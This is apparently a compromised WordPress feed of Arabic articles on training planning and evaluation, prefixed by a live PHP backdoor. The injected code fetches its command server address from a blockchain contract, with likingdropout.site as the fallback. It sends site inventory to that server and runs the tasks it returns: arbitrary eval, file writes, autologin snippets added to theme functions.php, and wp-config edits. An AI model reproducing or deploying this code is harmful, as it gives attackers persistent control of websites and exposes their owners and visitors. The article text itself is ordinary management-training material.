// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); د / خالد توفيق Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Tue, 01 Aug 2023 13:05:25 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الرابعة https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-4/ https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-4/#respond Sun, 09 Apr 2023 19:31:40 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10459 سلسلة مقالات – تخطيط التدريب وتقييمه بقلم د/ خالد توفيق المقالة الرابعة إن التحليل الدقيق للاحتياجات التدريبية يجب أن يأخذ فى الاعتبار أطرافاً ثلاثة رئيسية هى: المنظمة والوظيفة والفرد كما فى الشكل التالى:                      إن تمثيل تلك الأطراف يضمن إلى حد بعيد حدوث نوع من التنسيق […]

The post سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط التدريب وتقييمه

بقلم د/ خالد توفيق

المقالة الرابعة

إن التحليل الدقيق للاحتياجات التدريبية يجب أن يأخذ فى الاعتبار أطرافاً ثلاثة رئيسية هى: المنظمة والوظيفة والفرد كما فى الشكل التالى:

                    

إن تمثيل تلك الأطراف يضمن إلى حد بعيد حدوث نوع من التنسيق بين الاحتياجات المختلفة لتلك الأطراف بما يؤدى إلى تقليل احتمالات حدوث تعارض واضح يؤثر على كفاءة نشاط التدريب بشكل واضح.

  • تحليل احتياجات المنظمة :

يمثل تحليل احتياجات المنظمة نقطة البداية لتحديد نشاط التدريب الكلي ، والمرجع الأساسي عند تحديد احتياجات المنظمة هو الأهداف الإستراتيجية التي تسعي المنظمة إلى تحقيقها خلال الفترات القادمة، وفي هذا الإطار فإن وضوح الإستراتيجيات التنظيمية يساعد بشكل كبير على تحديد الاحتياجات التدريبية.

يبدأ تحليل الاحتياجات التنظيمية بدراسة وفحص أهداف التنظيم القصيرة وطويلة الأجل، وتحديد العوامل والمتغيرات المؤثرة فيها فى المستقبل، حيث يجب أن تكون الأهداف هى الوجهة النهائية لأى سياسة للتدريب وتنمية الإدارة، بجانب ذلك يتضمن تحليل التنظيم تحليل هيكل الموارد البشرية، وتحليل كفاءة الأداء التنظيمى، والمتغيرات المؤثرة والمحددة للمناخ التنظيمى ، لتقييم مدى فاعلية برامج التدريب السابقة وتحديد الاحتياجات التدريبية فى المستقبل.

 

تحليل المناخ التنظيمى بهدف معرفة اتجاهات وآراء العاملين بالمنظمة فيما يتعلق برسالة المنظمة وثقافتها . .  ويتضمن تحليل المناخ التنظيمى أيضاً سياسات الحوافز والأجور، والمزايا العينية، وعلاقات الرؤساء بالمرؤوسين . .  حتى يتم تحديد البرامج التدريبية التى تتوافق وتتناسب مع الاحتياجات التدريبية الفعلية والتى تساعد العاملين على اكتساب مهارات وقدرات تساعدهم على تحسين أدائهم الوظيفى.

 

ويتضح مما سبق أن تحليل التنظيم يتضمن:

  • تحليل أهداف الشركة.
  • الإستراتيجية السائدة بالشركة.
  • تحليل الهيكل التنظيمي.
  • السياسات واللوائح بالشركة.
  • المناخ التنظيمي والعلاقات التنظيمية.
  • تخطيط القوى العاملة.

 

  • تحليل احتياجات الوظيفة :

يهدف إلى تحديد أنواع المهارات والمعلومات والاتجاهات المطلوبة لانجاز العمل، وأيضا تحديد المعايير التى يقاس بها درجة الأداء الوظيفى.

 

وصف العمل هو بيان بالخطوط العريضة لكافة جوانب الوظيفة يوضح الواجبات والمسؤوليات المتعلقة بها. وتتفاوت أنماط وصف العمل إذا ما تعدينا هذا البيان الأساسى، ويمكن أن يشمل بنوداً تتعلق بقنوات الاتصال، وساعات العمل الرسمية، والرواتب، وشروط أخرى للحد الذى يتداخل فيه مع عقد التوظيف. ومن أجل تحليل الاحتياجات التدريبية، نهتم بصورة رئيسية بتلك البنود من وصف العمل ذات الصلة بسير الوظيفة.

 

ويتضمن هذا التحليل المؤشرات التالية:

  • توصيف الوظائف.
  • معدلات أداء العاملين.
  • التغيرات فى طرق وأساليب العمل.
  • التكنولوجيا المستخدمة فى العمل وتطورها.

 

  • تحليل احتياجات الفرد :

فى بعض المنظمات يتم هذا كإجراء معتمد بشكل دورى كل عام على الأقل و ذلك يساعد فى التحليل الخاص بالمنظمة، إذ سيكون هناك مراجعة محدثة للمهارات المتوفرة للقوى العاملة كنتيجة لهذه العملية، ويتم التوضيح فى هذه المرحلة ما إذا كانت مشكلة الأداء يمكن علاجها بالتدريب أم لا.

 

يعتبر تحديد احتياجات الموظف أكثر سهولة من كل من احتياجات المنظمة واحتياجات الجماعات وهذه الاحتياجات تعتبر أكثر تحديداً حيث يمكن التعرف عليها بتحليل الخصائص العقلية والجسمانية والخلقية، والتعليم والتدريب والخبرة والمهارات والمعارف والدافعية والأداء السابق والتوجه المهنى للأفراد والعاملين، فاحتياجات الفرد عبارة عن تلك الاحتياجات التى تنبع من عمل الموظف كما هو حالياً أو بعد أن تلحقه التطورات ( أى ما سيكون عليه العمل ) ، ومن الواجبات المحتمل تكليفه بها مستقبلاً (بسبب الترقية مثلاً ) ومن الخطط المهنية. ويمكن تلبية هذه الاحتياجات عن طريق برامج التدريب والتطوير بأنواعها المختلفة ابتداءً من التدريب على تأكيد الذات الى التدريب على كيفية مواجهة ضغوط العمل، ومن التدريب الأساسى عند الالتحاق بالوظيفة الى التدريب الفنى المتقدم، ومن التدريب الاشرافى الى التطوير الادارى. ونستطيع القول إنه يمكن التعرف على احتياجات الموظف بتحديد المهارات والمعارف والاتجاهات التى يجب أن ينميها الفرد حتى يستطيع أن يؤدى واجبات ومهام وظيفته الحالية أو المستقبلية فى المنظمة.

ويتضح مما سبق أن عملية تحليل الفرد دراسة للوقوف على الأداء الحالى للعاملين ومن مصادر الحصول على هذه المعلومات:

  • سجلات العاملين.
  • آراء ورغبات العاملين.
  • تقارير تقييم الأداء.
  • سلوك العاملين.

 

  • تحديد الاحتياجات التدريبية من منظور استراتيجى:

ينظر إلى النشاط التدريبى فى المنظمات على أنه نشاط مؤثر بشكل كبير فى نجاحها ومحدد لمدى استمرارها فى الريادة، ومن ثم يجب الاهتمام به والربط بينه وبين استراتيجيات وخطط وأهداف المنظمة. ومن المعروف أن رسالة المنظمة وغاياتها تسهم فى بناء الأهداف الرئيسية التى تسعى المنظمة إلى تحقيقها، ويجب أن تحدد هذه الأهداف فى صورة أرقام، ومستويات، وأنماط معينة، ويعمل التدريب على المساهمة فى تحقيق تلك الأهداف.

 

 

ويوضح الشكل علاقة رسالة وغايات المنظمة بالفجوة التدريبية حيث أن الأداء المرغوب لا بد وأن ينبع من رسالة وأهداف المنظمة طويلة الأجل.

ولعمل إستراتيجية لتحديد الاحتياجات التدريبية لا بد من دراسة العوامل الداخلية والخارجية التي تؤثر على الأداء داخل المنظمة، والإستراتيجية العامة للمنظمة، وتحديد الفجوات بين الأوضاع الحالية والمنشودة، وإغلاق هذه الفجوات أمر حاسم بالنسبة للمنظمة لكى تنجح فى تحقيق أهدافها على المدى الطويل.

 

 

 

ويوضح النموذج التالى أصول ومصادر استراتيجية التدريب، وعلاقتها باستراتيدجيات وأهداف المنظمة:

 

تقوم إستراتيجية التدريب النابعة من الأهداف طويلة الأجل أو الأهداف الإستراتيجية للمنظمة على ادارك التوجيهات الإستراتيجية فى كل من الوظائف الرئيسة للمنظمة: التسويق والعمليات والإنتاج والموارد البشرية والإدارة المالية ، والبحوث والتطوير. فتستلهم هذه التوجيهات وتترجمها إلى نقاط قوة ونقاط ضعف ، والى توقعات لاحتياجات وبرامج تدريبية. وتدخلها ضمن هيكل المعلومات اللازم لتحديد الاحتياجات التدريبية.

 

  • طرق/ أساليب تقدير الاحتياجات:

وهنالك مجموعة من مصادر تحديد الاحتياجات التدريبية نذكر منها:

أ) رأي الرئيس:

حيث يحلل الرئيس عمل مرؤوسيه ومشاكلهم ومستوى أدائهم ودرجة إتقان كل منهم لعمله، وما ينبغي أن يكون عليه مستوى أداء العمل، ويحسن بالرئيس القيام بالخطوتين التاليتين حتى يحكم رأيه بالموضوعية في تحديد حاجات وحدة العمل التي يشرف عليها:

الخطوة الأولى:

اجتماع الرئيس بمرؤوسيه ليحددوا معاً مستوى الأداء المطلوب ( المستهدف) وكذا مستوى الأداء الفعلي لعمل كل موظف ومستوى الأداء المطلوب منه.

الخطوة الثانية:

 تتبع المرحلة الأولى حيث يناقش مع المرؤوسين نواحي النقص في أداء العمل، والوسائل المختلفة للوصول بالأداء إلى المستوى المطلوب، سواء من ناحية أداء ( الوحدة) ككل للعمل المناط بها أو من ناحية أداء كل (موظف) للعمل الذي يقوم به.

وهكذا يمكن تحديد احتياجات التدريب سواء أكانت فنية أو إدارية، وعلى ضوء ذلك يتم التخطيط لبرنامج تدريبي.

ب) تصنيف الوظائف:

حيث يتم وضع كل صنف من المؤهلات والخبرات اللازمة لأدائه على الوجه الصحيح وبعد ذلك يتجه التدريب إلى:

  • تدريب ذوي المؤهلات الأقل للوصول بهم إلى مستوى المؤهلات اللازم توافرها.
  • تدريب ذوي المؤهلات الشاغلين للوظائف التي تناسبهم لإكسابهم مهارات إضافية ، وخبرات عملية للعمل والوقوف على تطوير المهارات الحالية.
  • تدريب ذوي المؤهلات المعينة على مهارات أخرى لا تتضمنها مؤهلاتهم، ليتمكنوا من القيام بأعمال أخرى( التدريب التحويلي).
  • تدريب العاملين على امتلاك فكر جماعي يتفق مع إستراتيجية كلية تهدف إلى تعاون الجميع على الأداء والتعرف على أهمية التدريب بالنسبة لبقية أعمال المؤسسة.

ج) التقارير الفنية لمراقبة الأداء:

وتكون تقارير تحليلية تتناول العمل ومستوى الأداء جملة وتفصيلا، ومن خلال الرقابة على الأداء يمكن تحديد الاحتياجات التدريبية ونوع التدريب المطلوب لكل وحدة من الوحدات ولكل فرد.

د) الملاحظة أثناء تأدية العمل:

ويتم ذلك في الحالات التي يصعب الحصول فيها على التقارير التحليلية لمراقبة الأداء، حيث يمكن الاعتماد على الملاحظة المباشرة للموظف أثناء تأدية عمله.

هـ) رأي الرؤساء والمشرفين على العمل وتوصياتهم:

          ويمكن التعرف على أرائهم من خلال:

  • المقابلة الشخصية لهم 2- دراسة تحليلية لتوجيهاتهم وتقاريرهم

3- استقصاء للتعرف على الاحتياجات      4- المقابلة

و) اخذ رأي الموظفين أنفسهم وتوصياتهم:

من خلال المقابلة الشخصية، والاستقصاء للتعرف على تلك الاحتياجات التدريبية، أو من خلال الالتقاء بمجموعة المستهدفين خلال ندوة أو حلقة نقاش.

ز) توصيات المسئولين عن الاختيار والتعيين:

وهم المسئولين بالمنظمة عن الموظفين (الجدد منهم / الأماكن الشاغرة/ الأخطاء المهنية الشائعة).

ح) مؤشرات عدم الرضا الوظيفي:

مثل كثرة الشكاوي –الغياب سرعة دوران العمالة- التغيب – الوقوع في أخطاء معينة وغيرها مما يوضح عدم الرضا الوظيفي عند العاملين.

  • مرحلة تصميم برامج التدريب:

حسب نموذج ادي يتم بناء مرحلة التصميم بالاستناد إلى بيانات الأداء التي جرى جمعها خلال مرحلة تقدير الاحتياجات، ونقوم بهذه المرحلة بالنظر إلى الاحتياجات التي تم تحديدها من خلال بيانات الأداء ذات الصلة في مكان العمل (تحليل الفجوة)، والتي توفر بيانات المعرفة والمهارات للموظفين، ثم نترجم هذه الاحتياجات إلى أهداف تدريبية تساعد في وصف الدورة.

 

خلال هذه المرحلة، نحتاج للإجابة على الأسئلة التالية:

  • ماذا: ما الهدف من الدورة التدريبية؟ ماذا سيتعلم المشاركون نتيجة الالتحاق بهذه الدورة؟ ما هو مستوى فهمهم للموضوع؟ وما هو مدى انخراطهم ومشاركتهم في الموضوع؟
  • من: من هم الذين سيلتحقون بالدورة؟ ما هي توقعاتهم؟ ما هو مستواهم الوظيفي؟ كم شخص سيحضر الدورة؟
  • لماذا: لماذا سيشارك المتدربون في الدورة؟ لماذا عليهم الإصغاء؟ لماذا عليهم أن يهتموا بموضوع الدورة؟
  • أين: أين ستعقد الدورة؟ ما هي الأجهزة اللازمة؟ ما هو شكل الجلسة؟
  • متى: كم ستستغرق الدورة؟ هل سيكون هناك أكثر من جلسة؟ في اي يوم ستعقد الدورة؟ كم من الوقت يلزم لكل جلسة؟

مخرجات مرحلة التصميم:

  • صياغة أهداف الدورة التدريبية
  • وصف الدورة التدريبية
  • تصميم وثيقة البرنامج التدريبي
  • خطة العمل

***

انتهت بحمد الله مقالات مسار كيم التعليمي لتخطيط التدريب وتقييمه

بقلم د/ خالد توفيق

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-4/feed/ 0 سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الثالثة https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-3/ https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-3/#respond Sun, 09 Apr 2023 19:28:12 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10457 سلسلة مقالات – تخطيط التدريب وتقييمه بقلم د/ خالد توفيق المقالة الثالثة تخطيط العملية التدريبية   اولاً: مقدمة. ثانياً: مفهوم تخطيط التدريب. ثالثاً: نموذج ADDIE لعملية التدريب. رابعاً: طرق وأساليب تحديد الاحتياجات التدريبية: مفهوم عملية تحديد الاحتياجات التدريبية أهمية تحديد الاحتياجات التدريبية العوامل التي يجب اخذها بالاعتبار عند تقدير فجوة الأداء طرق وأساليب تحديد الاحتياجات […]

The post سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط التدريب وتقييمه

بقلم د/ خالد توفيق

المقالة الثالثة

تخطيط العملية التدريبية

 

اولاً: مقدمة.

ثانياً: مفهوم تخطيط التدريب.

ثالثاً: نموذج ADDIE لعملية التدريب.

رابعاً: طرق وأساليب تحديد الاحتياجات التدريبية:

  • مفهوم عملية تحديد الاحتياجات التدريبية
  • أهمية تحديد الاحتياجات التدريبية
  • العوامل التي يجب اخذها بالاعتبار عند تقدير فجوة الأداء
  • طرق وأساليب تحديد الاحتياجات التدريبية
  • تحديد الاحتياجات التدريبية من منظور استراتيجى
  • طرق/ أساليب تقدير الاحتياجات
  • مرحلة تصميم برامج التدريب

 

 

 

أولاً: مقدمة

يعتبر التخطيط الدقيق لبرامج التدريب الأسلوب الأفضل لإعداده وتقديمه بصورة تتلائم مع احتياجات جهات العمل في القطاع العام أثناء الخدمة من الموضوعات المهمة لما له من ارتباط بالواقع العملي للعملية الإدارية والاقتصادية .

 

        ويعتبر التخطيط جوهر العملية الإدارية فهو يأتي ليشمل كافة أجزاء التنظيم من أعلى إلى أسفل وفي جميع الاتجاهات وتبرز أهمية التخطيط الإداري من تحديده المقنن لاحتياجات المجتمع والارتقاء بكفاءة العنصر البشري وبين تحقيق الزيادة في إنتاجية التنظيم الإداري .

 

ولقد برزت الحاجة إلى تحديد الاحتياجات التدريبية بشكل دقيق نظراً لأن البرامج الإدارية المقامة لا تلبي في كثير من الأحيان وبشكل كامل الاحتياجات التدريبية الفعلية لموظفي الدولة حيث أن موظفي الدولة من المشاركين في هذه البرامج التدريبية يبحثون عن حلول لمشاكلهم والتي من أهمها منافسة العنصر غير الوطني، والتقدم، ووجود الموظف في العمل غير المناسب، وبيروقراطية الإدارة .

 

إن الاهتمام بتخطيط برامج التدريب الإداري هو الطريق السليم لمعرفة الإمكانات والطاقات المختلفة التي توفر للجهاز الإداري الخطط والبرامج والمشروعات حتى تحافظ المنشآت على أعلى معدلات الأداء مع ما يتناسب وطبيعة عمل العاملين، فالتخطيط الإداري يساعد في التخصيص الفعال لموارد المنظمة، واستعدادها لدرء المجهول أو التقليل من خطره وذلك بالتدخل المباشر والتأثير على مجريات الأحداث.

 

إن توفر الفهم السليم للتخطيط من قبل صناع القرار ضرورة حتمية لنجاح أي نشاط إداري حتى تستطيع المنظمات الصمود أمام موجات التغيير لممارسة العمليات الإدارية المختلفة كما خطط لها.

ثانياً: مفهوم وأهمية تخطيط التدريب

  • مفهوم تخطيط التدريب

يعتبر التخطيط بشكل عام أهم وأول الوظائف الرئيسية في الإدارة وهو عملية ديناميكية مستمرة باستمرار نجاح المنظمة وهو يسبق أي عمل تنفيذي ويكفل له الدقة في تحديد الوقت والكيفية المناسبة للتنفيذ، وله أهمية خاصة من حيث أنه أسلوب معالج لمتطلبات التطوير واحتياجات البيئة الإدارية مكان التطوير وإحداث التوازن بين ما تتطلبه عادات المجتمع السائدة وبين مواكبة معطيات العصر الحديث.

وإذا أردنا التحدث عن التخطيط فى مجال التدريب فنستطيع أن نقول أنه:

هو التنبؤ بالاحتياجات الحالية والمستقبلية في مجال تطوير أداء العاملين، واستخدام الإمكانات التي يمكن توفيرها من أجل إتباع الخطوات المناسبة لتلبية الإحتياجات وتحقيق أهداف المنشأة.

ويمثل تخطيط التدريب مرحلة التفكير التي تسبق تنفيذ أي عمل تدريبي، واتخاذ القرارات اللازمة، لتحديد أهدافه والموارد المختلفة اللازمة لتحقيق هذه الأهداف.

 

ويشمل التخطيط بشكل عام على الخطوات المنطقية التالية:

  • التحديد المسبق للأهداف المرغوبة.
  • وضع السياسات والإجراءات المتبعة لتحقيق الهدف.
  • اختيار بديل من ضمن البدائل المتاحة وتحديد الإمكانات اللازمة لتنفيذ هذا البديل.
  • تحديد الإمكانات المتاحة فعلاً.
  • تحديد طريقة توفير الإمكانات غير المتاحة.
  • وضع برامج زمنية لتنفيذ الهدف من حيث تحديد النشاطات والمسؤوليات.

 

  • فوائد وأهمية تخطيط التدريب
  • رسم أهداف التدريب بوضوح، حتى تقوم الأقسام والأفراد بالمشاركة في التدريب وتسهل عملية تحقيق الهدف منه.
  • يعبد تخطيط التدريب الطريق للعاملين لتنفيذ العمليات الخاصة بالتدريب.
  • يحدد الموارد المطلوب استخدامها كماً ونوعاً.
  • يرسم التخطيط للتدريب الصورة الكلية، ويوضح في نفس الوقت أجزاء العمل المختلفة، وكيفية ربط الأجزاء مع بعضها لتحقيق الأهداف في الوقت المحدد.
  • يتوقع التدريب المخطط له المشكلات والعقبات التي تواجه أو تحول دون تنفيذ العمليات مما يمكن من الاستعداد للتعامل معها.
  • يهيئ الظروف للمتابعة الدورية لأنشطة التدريب والتعرف على ما تم تحقيقه ومقارنته بالمستهدف.
  • يحدد إطار عملية التقييم في ضوء الأهداف والإمكانات والوقت المسموح به.

 

 

 

 

 

 

 

العوامل التي يجب مراعاتها عند تخطيط التدريب:

        يحصر احد الإداريين العوامل التي يجب مراعاتها عند التخطيط لبرامج التدريب في النقاط التالية:

  • المرونة .
